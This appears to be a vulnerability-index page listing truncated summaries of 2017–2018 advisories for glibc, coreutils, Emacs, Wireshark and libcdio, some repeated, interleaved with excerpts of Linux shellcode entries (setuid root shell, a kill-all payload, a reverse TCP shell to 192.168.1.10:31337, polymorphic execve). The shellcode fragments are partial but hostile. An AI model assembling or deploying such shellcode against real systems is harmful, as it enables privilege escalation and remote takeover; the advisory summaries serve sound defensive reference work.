Ubuntu 14.04 LTS / 16.04 LTS : GNU C Library vulnerabilities (USN-3534-1)

The remote Ubuntu 14.04 LTS / 16.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-3534-1 advisory. It was discovered that the GNU C library did not properly handle all of the possible return values from the kernel getcwd2 syscall. A local...

PT-2018-3809 · Gnu +4 · Gnu Libcdio +4

Name of the Vulnerable Software and Affected Versions: GNU libcdio versions prior to 1.0.0 Description: The issue is related to a heap-based buffer over-read in the print iso9660 recurse function in iso-info.c. This could allow remote attackers to cause a denial of service or possibly have other...

USN-3536-1: GNU C Library vulnerability

It was discovered that the GNU C library did not properly handle all of the possible return values from the kernel getcwd2 syscall. A local attacker could potentially exploit this to execute arbitrary code in setuid programs and gain administrative privileges. CVE-2018-1000001...

USN-3534-1: GNU C Library vulnerabilities

It was discovered that the GNU C library did not properly handle all of the possible return values from the kernel getcwd2 syscall. A local attacker could potentially exploit this to execute arbitrary code in setuid programs and gain administrative privileges. CVE-2018-1000001 A memory leak was...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)

include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER tha push/pop "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov al,0bh "\x52" //push edx /Termina la cadena //bin/sh con un 0 "\x68\x6e\x2f\x73\x68"...

Linux/x86-64 - sethostname(Rooted !) + killall Shellcode (33 bytes)

Linux/x8664 sethostname & killall 33 bytes shellcode Date: 2010-04-26 Author: zbt Tested on: x8664 Debian GNU/Linux / ; sethostname"Rooted !"; ; kill-1, SIGKILL; section .text global start start: ;-- setHostName"Rooted !"; 22 bytes --; mov al, 0xaa mov r8, 'Rooted !' push r8 mov rdi, rsp mov sil,...

Linux/x86-64 - Reverse TCP (192.168.1.10:31337/TCP) Shell Shellcode (118 bytes)

/ Title : reversetcpbindshell 118 bytes Date : 04 October 2013 Author : Russell Willis Testd on: Linux/x8664 SMP Debian 3.2.46-1+deb7u1 x8664 GNU/Linux $ objdump -D reversetcpbindshell -M intel reversetcpbindshell: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 : 400080: ...

ALPINE-CVE-2018-5336

In Wireshark 2.4.0 to 2.4.3 and 2.2.0 to 2.2.11, the JSON, XML, NTP, XMPP, and GDB dissectors could crash. This was addressed in epan/tvbparse.c by limiting the recursion depth...

UBUNTU-CVE-2018-1000001

In glibc 2.26 and earlier there is confusion in the usage of getcwd by realpath which can be used to write before the destination buffer leading to a buffer underflow and potential code execution...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)

/ Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f polymorphic.nasm global start section .text start: add esi, 0x30 ;junk xor ecx, ecx mul ecx mov dword esp-4, ecx...

[ASA-201801-9] glibc: multiple issues

Arch Linux Security Advisory ASA-201801-9 ========================================= Severity: High Date : 2018-01-10 CVE-ID : CVE-2017-15670 CVE-2017-15671 Package : glibc Type : multiple issues Remote : Yes Link : https://security.archlinux.org/AVG-460 Summary ======= The package glibc before...

CVE-2017-18018

In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition...

Unspecified Vulnerability in GuixSD

GuixSD is an advanced version of a set of GNU Linux operating systems developed by the GNU Project. It is equipped with the GNU Guix package manager, support for transactional upgrades, etc., and provides an interface to the Guile Scheme API. GuixSD Git commit...

GLSA-201801-07 : GNU Emacs: Command injection

The remote host is affected by the vulnerability described in GLSA-201801-07 GNU Emacs: Command injection A command injection flaw within the Emacs enriched mode handling has been discovered. Impact : A remote attacker, by enticing a user to open a specially crafted file, could execute arbitrary...

GNU Coreutils Arbitrary File Modification Vulnerability

GNU Coreutils GNU Core Utilities, GNU Core Utilities is a package developed by the GNU Project that contains several basic tools required for Unix-like applications, such as textutils textutils, shellutils shell utilities, fileutils file utilities, and so on. A security vulnerability exists in GN...

GNU Emacs: Command injection

Background GNU Emacs is a highly extensible and customizable text editor. Description A command injection flaw within the Emacs “enriched mode” handling has been discovered. Impact A remote attacker, by enticing a user to open a specially crafted file, could execute arbitrary commands with the...

CVE-2017-18018

In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition...

DEBIAN-CVE-2017-18018

In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition...

Race condition

In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition...

CVE-2017-18018

In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition...